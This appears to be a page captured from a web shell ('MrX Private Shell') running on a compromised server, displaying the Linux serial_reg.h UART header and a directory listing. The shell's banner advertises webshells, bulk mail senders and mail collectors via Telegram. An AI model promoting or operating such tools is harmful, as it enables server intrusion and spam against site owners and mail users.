__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

www-data@216.73.216.10: ~ $ 
/* SPDX-License-Identifier: GPL-1.0+ WITH Linux-syscall-note */
/*
 * include/linux/serial_reg.h
 *
 * Copyright (C) 1992, 1994 by Theodore Ts'o.
 * 
 * Redistribution of this file is permitted under the terms of the GNU 
 * Public License (GPL)
 * 
 * These are the UART port assignments, expressed as offsets from the base
 * register.  These assignments should hold for any serial port based on
 * a 8250, 16450, or 16550(A).
 */

#ifndef _LINUX_SERIAL_REG_H
#define _LINUX_SERIAL_REG_H

/*
 * DLAB=0
 */
#define UART_RX		0	/* In:  Receive buffer */
#define UART_TX		0	/* Out: Transmit buffer */

#define UART_IER	1	/* Out: Interrupt Enable Register */
#define UART_IER_MSI		0x08 /* Enable Modem status interrupt */
#define UART_IER_RLSI		0x04 /* Enable receiver line status interrupt */
#define UART_IER_THRI		0x02 /* Enable Transmitter holding register int. */
#define UART_IER_RDI		0x01 /* Enable receiver data interrupt */
/*
 * Sleep mode for ST16650 and TI16750.  For the ST16650, EFR[4]=1
 */
#define UART_IERX_SLEEP		0x10 /* Enable sleep mode */

#define UART_IIR	2	/* In:  Interrupt ID Register */
#define UART_IIR_NO_INT		0x01 /* No interrupts pending */
#define UART_IIR_ID		0x0e /* Mask for the interrupt ID */
#define UART_IIR_MSI		0x00 /* Modem status interrupt */
#define UART_IIR_THRI		0x02 /* Transmitter holding register empty */
#define UART_IIR_RDI		0x04 /* Receiver data interrupt */
#define UART_IIR_RLSI		0x06 /* Receiver line status interrupt */

#define UART_IIR_BUSY		0x07 /* DesignWare APB Busy Detect */

#define UART_IIR_RX_TIMEOUT	0x0c /* OMAP RX Timeout interrupt */
#define UART_IIR_XOFF		0x10 /* OMAP XOFF/Special Character */
#define UART_IIR_CTS_RTS_DSR	0x20 /* OMAP CTS/RTS/DSR Change */
#define UART_IIR_64BYTE_FIFO	0x20 /* 16750 64 bytes FIFO */
#define UART_IIR_FIFO_ENABLED	0xc0 /* FIFOs enabled / port type identification */
#define  UART_IIR_FIFO_ENABLED_8250	0x00	/* 8250: no FIFO */
#define  UART_IIR_FIFO_ENABLED_16550	0x80	/* 16550: (broken/unusable) FIFO */
#define  UART_IIR_FIFO_ENABLED_16550A	0xc0	/* 16550A: FIFO enabled */
#define  UART_IIR_FIFO_ENABLED_16750	0xe0	/* 16750: 64 bytes FIFO enabled */

#define UART_FCR	2	/* Out: FIFO Control Register */
#define UART_FCR_ENABLE_FIFO	0x01 /* Enable the FIFO */
#define UART_FCR_CLEAR_RCVR	0x02 /* Clear the RCVR FIFO */
#define UART_FCR_CLEAR_XMIT	0x04 /* Clear the XMIT FIFO */
#define UART_FCR_DMA_SELECT	0x08 /* For DMA applications */
/*
 * Note: The FIFO trigger levels are chip specific:
 *	RX:76 = 00  01  10  11	TX:54 = 00  01  10  11
 * PC16550D:	 1   4   8  14		xx  xx  xx  xx
 * TI16C550A:	 1   4   8  14          xx  xx  xx  xx
 * TI16C550C:	 1   4   8  14          xx  xx  xx  xx
 * ST16C550:	 1   4   8  14		xx  xx  xx  xx
 * ST16C650:	 8  16  24  28		16   8  24  30	PORT_16650V2
 * NS16C552:	 1   4   8  14		xx  xx  xx  xx
 * ST16C654:	 8  16  56  60		 8  16  32  56	PORT_16654
 * TI16C750:	 1  16  32  56		xx  xx  xx  xx	PORT_16750
 * TI16C752:	 8  16  56  60		 8  16  32  56
 * OX16C950:	16  32 112 120		16  32  64 112	PORT_16C950
 * Tegra:	 1   4   8  14		16   8   4   1	PORT_TEGRA
 */
#define UART_FCR_R_TRIG_00	0x00
#define UART_FCR_R_TRIG_01	0x40
#define UART_FCR_R_TRIG_10	0x80
#define UART_FCR_R_TRIG_11	0xc0
#define UART_FCR_T_TRIG_00	0x00
#define UART_FCR_T_TRIG_01	0x10
#define UART_FCR_T_TRIG_10	0x20
#define UART_FCR_T_TRIG_11	0x30

#define UART_FCR_TRIGGER_MASK	0xC0 /* Mask for the FIFO trigger range */
#define UART_FCR_TRIGGER_1	0x00 /* Mask for trigger set at 1 */
#define UART_FCR_TRIGGER_4	0x40 /* Mask for trigger set at 4 */
#define UART_FCR_TRIGGER_8	0x80 /* Mask for trigger set at 8 */
#define UART_FCR_TRIGGER_14	0xC0 /* Mask for trigger set at 14 */
/* 16650 definitions */
#define UART_FCR6_R_TRIGGER_8	0x00 /* Mask for receive trigger set at 1 */
#define UART_FCR6_R_TRIGGER_16	0x40 /* Mask for receive trigger set at 4 */
#define UART_FCR6_R_TRIGGER_24  0x80 /* Mask for receive trigger set at 8 */
#define UART_FCR6_R_TRIGGER_28	0xC0 /* Mask for receive trigger set at 14 */
#define UART_FCR6_T_TRIGGER_16	0x00 /* Mask for transmit trigger set at 16 */
#define UART_FCR6_T_TRIGGER_8	0x10 /* Mask for transmit trigger set at 8 */
#define UART_FCR6_T_TRIGGER_24  0x20 /* Mask for transmit trigger set at 24 */
#define UART_FCR6_T_TRIGGER_30	0x30 /* Mask for transmit trigger set at 30 */
#define UART_FCR7_64BYTE	0x20 /* Go into 64 byte mode (TI16C750 and
					some Freescale UARTs) */

#define UART_FCR_R_TRIG_SHIFT		6
#define UART_FCR_R_TRIG_BITS(x)		\
	(((x) & UART_FCR_TRIGGER_MASK) >> UART_FCR_R_TRIG_SHIFT)
#define UART_FCR_R_TRIG_MAX_STATE	4

#define UART_LCR	3	/* Out: Line Control Register */
/*
 * Note: if the word length is 5 bits (UART_LCR_WLEN5), then setting 
 * UART_LCR_STOP will select 1.5 stop bits, not 2 stop bits.
 */
#define UART_LCR_DLAB		0x80 /* Divisor latch access bit */
#define UART_LCR_SBC		0x40 /* Set break control */
#define UART_LCR_SPAR		0x20 /* Stick parity (?) */
#define UART_LCR_EPAR		0x10 /* Even parity select */
#define UART_LCR_PARITY		0x08 /* Parity Enable */
#define UART_LCR_STOP		0x04 /* Stop bits: 0=1 bit, 1=2 bits */
#define UART_LCR_WLEN5		0x00 /* Wordlength: 5 bits */
#define UART_LCR_WLEN6		0x01 /* Wordlength: 6 bits */
#define UART_LCR_WLEN7		0x02 /* Wordlength: 7 bits */
#define UART_LCR_WLEN8		0x03 /* Wordlength: 8 bits */

/*
 * Access to some registers depends on register access / configuration
 * mode.
 */
#define UART_LCR_CONF_MODE_A	UART_LCR_DLAB	/* Configutation mode A */
#define UART_LCR_CONF_MODE_B	0xBF		/* Configutation mode B */

#define UART_MCR	4	/* Out: Modem Control Register */
#define UART_MCR_CLKSEL		0x80 /* Divide clock by 4 (TI16C752, EFR[4]=1) */
#define UART_MCR_TCRTLR		0x40 /* Access TCR/TLR (TI16C752, EFR[4]=1) */
#define UART_MCR_XONANY		0x20 /* Enable Xon Any (TI16C752, EFR[4]=1) */
#define UART_MCR_AFE		0x20 /* Enable auto-RTS/CTS (TI16C550C/TI16C750) */
#define UART_MCR_LOOP		0x10 /* Enable loopback test mode */
#define UART_MCR_OUT2		0x08 /* Out2 complement */
#define UART_MCR_OUT1		0x04 /* Out1 complement */
#define UART_MCR_RTS		0x02 /* RTS complement */
#define UART_MCR_DTR		0x01 /* DTR complement */

#define UART_LSR	5	/* In:  Line Status Register */
#define UART_LSR_FIFOE		0x80 /* Fifo error */
#define UART_LSR_TEMT		0x40 /* Transmitter empty */
#define UART_LSR_THRE		0x20 /* Transmit-hold-register empty */
#define UART_LSR_BI		0x10 /* Break interrupt indicator */
#define UART_LSR_FE		0x08 /* Frame error indicator */
#define UART_LSR_PE		0x04 /* Parity error indicator */
#define UART_LSR_OE		0x02 /* Overrun error indicator */
#define UART_LSR_DR		0x01 /* Receiver data ready */
#define UART_LSR_BRK_ERROR_BITS	(UART_LSR_BI|UART_LSR_FE|UART_LSR_PE|UART_LSR_OE)

#define UART_MSR	6	/* In:  Modem Status Register */
#define UART_MSR_DCD		0x80 /* Data Carrier Detect */
#define UART_MSR_RI		0x40 /* Ring Indicator */
#define UART_MSR_DSR		0x20 /* Data Set Ready */
#define UART_MSR_CTS		0x10 /* Clear to Send */
#define UART_MSR_DDCD		0x08 /* Delta DCD */
#define UART_MSR_TERI		0x04 /* Trailing edge ring indicator */
#define UART_MSR_DDSR		0x02 /* Delta DSR */
#define UART_MSR_DCTS		0x01 /* Delta CTS */
#define UART_MSR_ANY_DELTA	(UART_MSR_DDCD|UART_MSR_TERI|UART_MSR_DDSR|UART_MSR_DCTS)

#define UART_SCR	7	/* I/O: Scratch Register */

/*
 * DLAB=1
 */
#define UART_DLL	0	/* Out: Divisor Latch Low */
#define UART_DLM	1	/* Out: Divisor Latch High */
#define UART_DIV_MAX	0xFFFF	/* Max divisor value */

/*
 * LCR=0xBF (or DLAB=1 for 16C660)
 */
#define UART_EFR	2	/* I/O: Extended Features Register */
#define UART_XR_EFR	9	/* I/O: Extended Features Register (XR17D15x) */
#define UART_EFR_CTS		0x80 /* CTS flow control */
#define UART_EFR_RTS		0x40 /* RTS flow control */
#define UART_EFR_SCD		0x20 /* Special character detect */
#define UART_EFR_ECB		0x10 /* Enhanced control bit */
/*
 * the low four bits control software flow control
 */

/*
 * LCR=0xBF, TI16C752, ST16650, ST16650A, ST16654
 */
#define UART_XON1	4	/* I/O: Xon character 1 */
#define UART_XON2	5	/* I/O: Xon character 2 */
#define UART_XOFF1	6	/* I/O: Xoff character 1 */
#define UART_XOFF2	7	/* I/O: Xoff character 2 */

/*
 * EFR[4]=1 MCR[6]=1, TI16C752
 */
#define UART_TI752_TCR	6	/* I/O: transmission control register */
#define UART_TI752_TLR	7	/* I/O: trigger level register */

/*
 * LCR=0xBF, XR16C85x
 */
#define UART_TRG	0	/* FCTR bit 7 selects Rx or Tx
				 * In: Fifo count
				 * Out: Fifo custom trigger levels */
/*
 * These are the definitions for the Programmable Trigger Register
 */
#define UART_TRG_1		0x01
#define UART_TRG_4		0x04
#define UART_TRG_8		0x08
#define UART_TRG_16		0x10
#define UART_TRG_32		0x20
#define UART_TRG_64		0x40
#define UART_TRG_96		0x60
#define UART_TRG_120		0x78
#define UART_TRG_128		0x80

#define UART_FCTR	1	/* Feature Control Register */
#define UART_FCTR_RTS_NODELAY	0x00  /* RTS flow control delay */
#define UART_FCTR_RTS_4DELAY	0x01
#define UART_FCTR_RTS_6DELAY	0x02
#define UART_FCTR_RTS_8DELAY	0x03
#define UART_FCTR_IRDA		0x04  /* IrDa data encode select */
#define UART_FCTR_TX_INT	0x08  /* Tx interrupt type select */
#define UART_FCTR_TRGA		0x00  /* Tx/Rx 550 trigger table select */
#define UART_FCTR_TRGB		0x10  /* Tx/Rx 650 trigger table select */
#define UART_FCTR_TRGC		0x20  /* Tx/Rx 654 trigger table select */
#define UART_FCTR_TRGD		0x30  /* Tx/Rx 850 programmable trigger select */
#define UART_FCTR_SCR_SWAP	0x40  /* Scratch pad register swap */
#define UART_FCTR_RX		0x00  /* Programmable trigger mode select */
#define UART_FCTR_TX		0x80  /* Programmable trigger mode select */

/*
 * LCR=0xBF, FCTR[6]=1
 */
#define UART_EMSR	7	/* Extended Mode Select Register */
#define UART_EMSR_FIFO_COUNT	0x01  /* Rx/Tx select */
#define UART_EMSR_ALT_COUNT	0x02  /* Alternating count select */

/*
 * The Intel XScale on-chip UARTs define these bits
 */
#define UART_IER_DMAE	0x80	/* DMA Requests Enable */
#define UART_IER_UUE	0x40	/* UART Unit Enable */
#define UART_IER_NRZE	0x20	/* NRZ coding Enable */
#define UART_IER_RTOIE	0x10	/* Receiver Time Out Interrupt Enable */

#define UART_IIR_TOD	0x08	/* Character Timeout Indication Detected */

#define UART_FCR_PXAR1	0x00	/* receive FIFO threshold = 1 */
#define UART_FCR_PXAR8	0x40	/* receive FIFO threshold = 8 */
#define UART_FCR_PXAR16	0x80	/* receive FIFO threshold = 16 */
#define UART_FCR_PXAR32	0xc0	/* receive FIFO threshold = 32 */

/*
 * These register definitions are for the 16C950
 */
#define UART_ASR	0x01	/* Additional Status Register */
#define UART_RFL	0x03	/* Receiver FIFO level */
#define UART_TFL 	0x04	/* Transmitter FIFO level */
#define UART_ICR	0x05	/* Index Control Register */

/* The 16950 ICR registers */
#define UART_ACR	0x00	/* Additional Control Register */
#define UART_CPR	0x01	/* Clock Prescalar Register */
#define UART_TCR	0x02	/* Times Clock Register */
#define UART_CKS	0x03	/* Clock Select Register */
#define UART_TTL	0x04	/* Transmitter Interrupt Trigger Level */
#define UART_RTL	0x05	/* Receiver Interrupt Trigger Level */
#define UART_FCL	0x06	/* Flow Control Level Lower */
#define UART_FCH	0x07	/* Flow Control Level Higher */
#define UART_ID1	0x08	/* ID #1 */
#define UART_ID2	0x09	/* ID #2 */
#define UART_ID3	0x0A	/* ID #3 */
#define UART_REV	0x0B	/* Revision */
#define UART_CSR	0x0C	/* Channel Software Reset */
#define UART_NMR	0x0D	/* Nine-bit Mode Register */
#define UART_CTR	0xFF

/*
 * The 16C950 Additional Control Register
 */
#define UART_ACR_RXDIS	0x01	/* Receiver disable */
#define UART_ACR_TXDIS	0x02	/* Transmitter disable */
#define UART_ACR_DSRFC	0x04	/* DSR Flow Control */
#define UART_ACR_TLENB	0x20	/* 950 trigger levels enable */
#define UART_ACR_ICRRD	0x40	/* ICR Read enable */
#define UART_ACR_ASREN	0x80	/* Additional status enable */



/*
 * These definitions are for the RSA-DV II/S card, from
 *
 * Kiyokazu SUTO <suto@ks-and-ks.ne.jp>
 */

#define UART_RSA_BASE (-8)

#define UART_RSA_MSR ((UART_RSA_BASE) + 0) /* I/O: Mode Select Register */

#define UART_RSA_MSR_SWAP (1 << 0) /* Swap low/high 8 bytes in I/O port addr */
#define UART_RSA_MSR_FIFO (1 << 2) /* Enable the external FIFO */
#define UART_RSA_MSR_FLOW (1 << 3) /* Enable the auto RTS/CTS flow control */
#define UART_RSA_MSR_ITYP (1 << 4) /* Level (1) / Edge triger (0) */

#define UART_RSA_IER ((UART_RSA_BASE) + 1) /* I/O: Interrupt Enable Register */

#define UART_RSA_IER_Rx_FIFO_H (1 << 0) /* Enable Rx FIFO half full int. */
#define UART_RSA_IER_Tx_FIFO_H (1 << 1) /* Enable Tx FIFO half full int. */
#define UART_RSA_IER_Tx_FIFO_E (1 << 2) /* Enable Tx FIFO empty int. */
#define UART_RSA_IER_Rx_TOUT (1 << 3) /* Enable char receive timeout int */
#define UART_RSA_IER_TIMER (1 << 4) /* Enable timer interrupt */

#define UART_RSA_SRR ((UART_RSA_BASE) + 2) /* IN: Status Read Register */

#define UART_RSA_SRR_Tx_FIFO_NEMP (1 << 0) /* Tx FIFO is not empty (1) */
#define UART_RSA_SRR_Tx_FIFO_NHFL (1 << 1) /* Tx FIFO is not half full (1) */
#define UART_RSA_SRR_Tx_FIFO_NFUL (1 << 2) /* Tx FIFO is not full (1) */
#define UART_RSA_SRR_Rx_FIFO_NEMP (1 << 3) /* Rx FIFO is not empty (1) */
#define UART_RSA_SRR_Rx_FIFO_NHFL (1 << 4) /* Rx FIFO is not half full (1) */
#define UART_RSA_SRR_Rx_FIFO_NFUL (1 << 5) /* Rx FIFO is not full (1) */
#define UART_RSA_SRR_Rx_TOUT (1 << 6) /* Character reception timeout occurred (1) */
#define UART_RSA_SRR_TIMER (1 << 7) /* Timer interrupt occurred */

#define UART_RSA_FRR ((UART_RSA_BASE) + 2) /* OUT: FIFO Reset Register */

#define UART_RSA_TIVSR ((UART_RSA_BASE) + 3) /* I/O: Timer Interval Value Set Register */

#define UART_RSA_TCR ((UART_RSA_BASE) + 4) /* OUT: Timer Control Register */

#define UART_RSA_TCR_SWITCH (1 << 0) /* Timer on */

/*
 * The RSA DSV/II board has two fixed clock frequencies.  One is the
 * standard rate, and the other is 8 times faster.
 */
#define SERIAL_RSA_BAUD_BASE (921600)
#define SERIAL_RSA_BAUD_BASE_LO (SERIAL_RSA_BAUD_BASE / 8)

/* Extra registers for TI DA8xx/66AK2x */
#define UART_DA830_PWREMU_MGMT	12

/* PWREMU_MGMT register bits */
#define UART_DA830_PWREMU_MGMT_FREE	(1 << 0)  /* Free-running mode */
#define UART_DA830_PWREMU_MGMT_URRST	(1 << 13) /* Receiver reset/enable */
#define UART_DA830_PWREMU_MGMT_UTRST	(1 << 14) /* Transmitter reset/enable */

/*
 * Extra serial register definitions for the internal UARTs
 * in TI OMAP processors.
 */
#define OMAP1_UART1_BASE	0xfffb0000
#define OMAP1_UART2_BASE	0xfffb0800
#define OMAP1_UART3_BASE	0xfffb9800
#define UART_OMAP_MDR1		0x08	/* Mode definition register */
#define UART_OMAP_MDR2		0x09	/* Mode definition register 2 */
#define UART_OMAP_SCR		0x10	/* Supplementary control register */
#define UART_OMAP_SSR		0x11	/* Supplementary status register */
#define UART_OMAP_EBLR		0x12	/* BOF length register */
#define UART_OMAP_OSC_12M_SEL	0x13	/* OMAP1510 12MHz osc select */
#define UART_OMAP_MVER		0x14	/* Module version register */
#define UART_OMAP_SYSC		0x15	/* System configuration register */
#define UART_OMAP_SYSS		0x16	/* System status register */
#define UART_OMAP_WER		0x17	/* Wake-up enable register */
#define UART_OMAP_TX_LVL	0x1a	/* TX FIFO level register */

/*
 * These are the definitions for the MDR1 register
 */
#define UART_OMAP_MDR1_16X_MODE		0x00	/* UART 16x mode */
#define UART_OMAP_MDR1_SIR_MODE		0x01	/* SIR mode */
#define UART_OMAP_MDR1_16X_ABAUD_MODE	0x02	/* UART 16x auto-baud */
#define UART_OMAP_MDR1_13X_MODE		0x03	/* UART 13x mode */
#define UART_OMAP_MDR1_MIR_MODE		0x04	/* MIR mode */
#define UART_OMAP_MDR1_FIR_MODE		0x05	/* FIR mode */
#define UART_OMAP_MDR1_CIR_MODE		0x06	/* CIR mode */
#define UART_OMAP_MDR1_DISABLE		0x07	/* Disable (default state) */

/*
 * These are definitions for the Altera ALTR_16550_F32/F64/F128
 * Normalized from 0x100 to 0x40 because of shift by 2 (32 bit regs).
 */
#define UART_ALTR_AFR		0x40	/* Additional Features Register */
#define UART_ALTR_EN_TXFIFO_LW	0x01	/* Enable the TX FIFO Low Watermark */
#define UART_ALTR_TX_LOW	0x41	/* Tx FIFO Low Watermark */

#endif /* _LINUX_SERIAL_REG_H */

Filemanager

DIR : / usr/ include/ linux/
Name Type Size Permission Actions
android Folder 0755
byteorder Folder 0755
caif Folder 0755
can Folder 0755
cifs Folder 0755
dvb Folder 0755
genwqe Folder 0755
hdlc Folder 0755
hsi Folder 0755
iio Folder 0755
isdn Folder 0755
misc Folder 0755
mmc Folder 0755
netfilter Folder 0755
netfilter_arp Folder 0755
netfilter_bridge Folder 0755
netfilter_ipv4 Folder 0755
netfilter_ipv6 Folder 0755
nfsd Folder 0755
raid Folder 0755
sched Folder 0755
spi Folder 0755
sunrpc Folder 0755
surface_aggregator Folder 0755
tc_act Folder 0755
tc_ematch Folder 0755
usb Folder 0755
a.out.h File 6.73 KB 0644
acct.h File 3.82 KB 0644
acrn.h File 18.51 KB 0644
adb.h File 1.11 KB 0644
adfs_fs.h File 993 B 0644
affs_hardblocks.h File 1.54 KB 0644
agpgart.h File 3.86 KB 0644
aio_abi.h File 3.32 KB 0644
am437x-vpfe.h File 3.59 KB 0644
amt.h File 1.71 KB 0644
apm_bios.h File 3.6 KB 0644
apparmor.h File 3.4 KB 0644
arcfb.h File 213 B 0644
arm_sdei.h File 2.69 KB 0644
aspeed-lpc-ctrl.h File 1.74 KB 0644
aspeed-p2a-ctrl.h File 1.86 KB 0644
aspeed-video.h File 389 B 0644
atalk.h File 1023 B 0644
atm.h File 7.7 KB 0644
atm_eni.h File 648 B 0644
atm_he.h File 406 B 0644
atm_idt77105.h File 955 B 0644
atm_nicstar.h File 1.25 KB 0644
atm_tcp.h File 1.58 KB 0644
atm_zatm.h File 1.5 KB 0644
atmapi.h File 952 B 0644
atmarp.h File 1.27 KB 0644
atmbr2684.h File 3.2 KB 0644
atmclip.h File 576 B 0644
atmdev.h File 7.32 KB 0644
atmioc.h File 1.61 KB 0644
atmlec.h File 2.33 KB 0644
atmmpc.h File 4.13 KB 0644
atmppp.h File 639 B 0644
atmsap.h File 4.85 KB 0644
atmsvc.h File 1.81 KB 0644
audit.h File 21.2 KB 0644
auto_dev-ioctl.h File 4.87 KB 0644
auto_fs.h File 6.28 KB 0644
auto_fs4.h File 451 B 0644
auxvec.h File 1.68 KB 0644
ax25.h File 2.76 KB 0644
batadv_packet.h File 21.13 KB 0644
batman_adv.h File 16.49 KB 0644
baycom.h File 883 B 0644
bcm933xx_hcs.h File 419 B 0644
bfs_fs.h File 1.86 KB 0644
binfmts.h File 776 B 0644
blkpg.h File 904 B 0644
blktrace_api.h File 4.59 KB 0644
blkzoned.h File 6.34 KB 0644
bpf.h File 269.04 KB 0644
bpf_common.h File 1.33 KB 0644
bpf_perf_event.h File 529 B 0644
bpqether.h File 981 B 0644
bsg.h File 2.44 KB 0644
bt-bmc.h File 572 B 0644
btf.h File 5.46 KB 0644
btrfs.h File 36.28 KB 0644
btrfs_tree.h File 34.77 KB 0644
cachefiles.h File 1.61 KB 0644
can.h File 10.95 KB 0644
capability.h File 13.21 KB 0644
capi.h File 3.05 KB 0644
cciss_defs.h File 3.2 KB 0644
cciss_ioctl.h File 2.7 KB 0644
ccs.h File 767 B 0644
cdrom.h File 28.87 KB 0644
cec-funcs.h File 53.14 KB 0644
cec.h File 41.17 KB 0644
cfm_bridge.h File 1.42 KB 0644
cgroupstats.h File 2.06 KB 0644
chio.h File 5.16 KB 0644
close_range.h File 377 B 0644
cn_proc.h File 4.06 KB 0644
coda.h File 17.79 KB 0644
coff.h File 12.25 KB 0644
comedi.h File 54.18 KB 0644
connector.h File 2.2 KB 0644
const.h File 991 B 0644
coresight-stm.h File 747 B 0644
counter.h File 4.77 KB 0644
cramfs_fs.h File 3.47 KB 0644
cryptouser.h File 5.2 KB 0644
cuda.h File 905 B 0644
cxl_mem.h File 7.8 KB 0644
cyclades.h File 969 B 0644
cycx_cfm.h File 2.92 KB 0644
dcbnl.h File 24.97 KB 0644
dccp.h File 6.29 KB 0644
devlink.h File 22.17 KB 0644
dlm.h File 2.52 KB 0644
dlm_device.h File 2.48 KB 0644
dlm_plock.h File 916 B 0644
dlmconstants.h File 4.97 KB 0644
dm-ioctl.h File 11.33 KB 0644
dm-log-userspace.h File 14.83 KB 0644
dma-buf.h File 7.15 KB 0644
dma-heap.h File 1.36 KB 0644
dns_resolver.h File 3.86 KB 0644
dpll.h File 5.84 KB 0644
dqblk_xfs.h File 9.17 KB 0644
dw100.h File 357 B 0644
edd.h File 5.47 KB 0644
efs_fs_sb.h File 2.17 KB 0644
elf-em.h File 2.57 KB 0644
elf-fdpic.h File 1.58 KB 0644
elf.h File 15.13 KB 0644
errno.h File 23 B 0644
errqueue.h File 1.94 KB 0644
erspan.h File 1.03 KB 0644
ethtool.h File 86.73 KB 0644
ethtool_netlink.h File 26.38 KB 0644
eventfd.h File 264 B 0644
eventpoll.h File 2.53 KB 0644
ext4.h File 4.03 KB 0644
f2fs.h File 3.28 KB 0644
fadvise.h File 842 B 0644
falloc.h File 3.5 KB 0644
fanotify.h File 8.17 KB 0644
fb.h File 16.09 KB 0644
fcntl.h File 4.44 KB 0644
fd.h File 11.83 KB 0644
fdreg.h File 5.24 KB 0644
fib_rules.h File 1.99 KB 0644
fiemap.h File 2.71 KB 0644
filter.h File 2.16 KB 0644
firewire-cdev.h File 49.53 KB 0644
firewire-constants.h File 3.16 KB 0644
fou.h File 819 B 0644
fpga-dfl.h File 8.52 KB 0644
fs.h File 13.94 KB 0644
fscrypt.h File 6.44 KB 0644
fsi.h File 3.02 KB 0644
fsl_hypervisor.h File 7.13 KB 0644
fsl_mc.h File 734 B 0644
fsmap.h File 4.3 KB 0644
fsverity.h File 3.11 KB 0644
fuse.h File 27.04 KB 0644
futex.h File 5.98 KB 0644
gameport.h File 897 B 0644
gen_stats.h File 1.49 KB 0644
genetlink.h File 2.19 KB 0644
gfs2_ondisk.h File 14.43 KB 0644
gpio.h File 19.46 KB 0644
gsmmux.h File 4.4 KB 0644
gtp.h File 734 B 0644
handshake.h File 1.61 KB 0644
hash_info.h File 1.01 KB 0644
hdlc.h File 637 B 0644
hdlcdrv.h File 2.84 KB 0644
hdreg.h File 22.17 KB 0644
hid.h File 2.04 KB 0644
hiddev.h File 6.2 KB 0644
hidraw.h File 1.95 KB 0644
hpet.h File 743 B 0644
hsr_netlink.h File 1.08 KB 0644
hw_breakpoint.h File 605 B 0644
hyperv.h File 10.89 KB 0644
i2c-dev.h File 1.83 KB 0644
i2c.h File 6.73 KB 0644
i2o-dev.h File 11.28 KB 0644
i8k.h File 1.49 KB 0644
icmp.h File 4.67 KB 0644
icmpv6.h File 4.17 KB 0644
idxd.h File 9.11 KB 0644
if.h File 10.67 KB 0644
if_addr.h File 2.09 KB 0644
if_addrlabel.h File 721 B 0644
if_alg.h File 1.56 KB 0644
if_arcnet.h File 3.63 KB 0644
if_arp.h File 6.43 KB 0644
if_bonding.h File 5.02 KB 0644
if_bridge.h File 20.18 KB 0644
if_cablemodem.h File 986 B 0644
if_eql.h File 1.32 KB 0644
if_ether.h File 8.56 KB 0644
if_fc.h File 1.7 KB 0644
if_fddi.h File 4.27 KB 0644
if_hippi.h File 4.14 KB 0644
if_infiniband.h File 1.22 KB 0644
if_link.h File 54.49 KB 0644
if_ltalk.h File 210 B 0644
if_macsec.h File 6.35 KB 0644
if_packet.h File 8.07 KB 0644
if_phonet.h File 424 B 0644
if_plip.h File 660 B 0644
if_ppp.h File 29 B 0644
if_pppol2tp.h File 3.23 KB 0644
if_pppox.h File 4.76 KB 0644
if_slip.h File 872 B 0644
if_team.h File 2.54 KB 0644
if_tun.h File 4.21 KB 0644
if_tunnel.h File 4.79 KB 0644
if_vlan.h File 1.79 KB 0644
if_x25.h File 881 B 0644
if_xdp.h File 4.89 KB 0644
ife.h File 351 B 0644
igmp.h File 2.99 KB 0644
ila.h File 1.22 KB 0644
in.h File 10.61 KB 0644
in6.h File 7.4 KB 0644
in_route.h File 936 B 0644
inet_diag.h File 4.9 KB 0644
inotify.h File 3.21 KB 0644
input-event-codes.h File 29.55 KB 0644
input.h File 15.84 KB 0644
io_uring.h File 19.26 KB 0644
ioam6.h File 2.33 KB 0644
ioam6_genl.h File 945 B 0644
ioam6_iptunnel.h File 1.26 KB 0644
ioctl.h File 163 B 0644
iommu.h File 4.79 KB 0644
iommufd.h File 24.52 KB 0644
ioprio.h File 4.08 KB 0644
ip.h File 4.73 KB 0644
ip6_tunnel.h File 1.91 KB 0644
ip_vs.h File 13.8 KB 0644
ipc.h File 2.05 KB 0644
ipmi.h File 15.08 KB 0644
ipmi_bmc.h File 488 B 0644
ipmi_msgdefs.h File 3.35 KB 0644
ipmi_ssif_bmc.h File 441 B 0644
ipsec.h File 947 B 0644
ipv6.h File 4.22 KB 0644
ipv6_route.h File 1.86 KB 0644
irqnr.h File 104 B 0644
iso_fs.h File 6.33 KB 0644
isst_if.h File 14.92 KB 0644
ivtv.h File 2.95 KB 0644
ivtvfb.h File 1.18 KB 0644
jffs2.h File 6.65 KB 0644
joystick.h File 3.35 KB 0644
kcm.h File 822 B 0644
kcmp.h File 522 B 0644
kcov.h File 1.92 KB 0644
kd.h File 6.3 KB 0644
kdev_t.h File 383 B 0644
kernel-page-flags.h File 900 B 0644
kernel.h File 194 B 0644
kernelcapi.h File 1019 B 0644
kexec.h File 2 KB 0644
keyboard.h File 13.14 KB 0644
keyctl.h File 5.86 KB 0644
kfd_ioctl.h File 52.69 KB 0644
kfd_sysfs.h File 5.01 KB 0644
kvm.h File 62.15 KB 0644
kvm_para.h File 1001 B 0644
l2tp.h File 5.61 KB 0644
landlock.h File 9.08 KB 0644
libc-compat.h File 8.09 KB 0644
limits.h File 937 B 0644
lirc.h File 8.13 KB 0644
llc.h File 3.09 KB 0644
loadpin.h File 834 B 0644
loop.h File 3.32 KB 0644
lp.h File 4.09 KB 0644
lsm.h File 2.5 KB 0644
lwtunnel.h File 2.31 KB 0644
magic.h File 3.77 KB 0644
major.h File 4.55 KB 0644
map_to_14segment.h File 9.28 KB 0644
map_to_7segment.h File 6.45 KB 0644
matroxfb.h File 1.43 KB 0644
max2175.h File 1.01 KB 0644
mctp.h File 1.45 KB 0644
mdio.h File 23.54 KB 0644
media-bus-format.h File 7.15 KB 0644
media.h File 12.46 KB 0644
mei.h File 3.39 KB 0644
mei_uuid.h File 738 B 0644
membarrier.h File 9.34 KB 0644
memfd.h File 1.43 KB 0644
mempolicy.h File 2.51 KB 0644
mii.h File 9.27 KB 0644
minix_fs.h File 2.07 KB 0644
mman.h File 1.75 KB 0644
mmtimer.h File 2.07 KB 0644
module.h File 293 B 0644
mount.h File 7.75 KB 0644
mpls.h File 2.25 KB 0644
mpls_iptunnel.h File 761 B 0644
mptcp.h File 3.67 KB 0644
mptcp_pm.h File 4.3 KB 0644
mqueue.h File 2.15 KB 0644
mroute.h File 5.78 KB 0644
mroute6.h File 4.89 KB 0644
mrp_bridge.h File 1.67 KB 0644
msdos_fs.h File 6.57 KB 0644
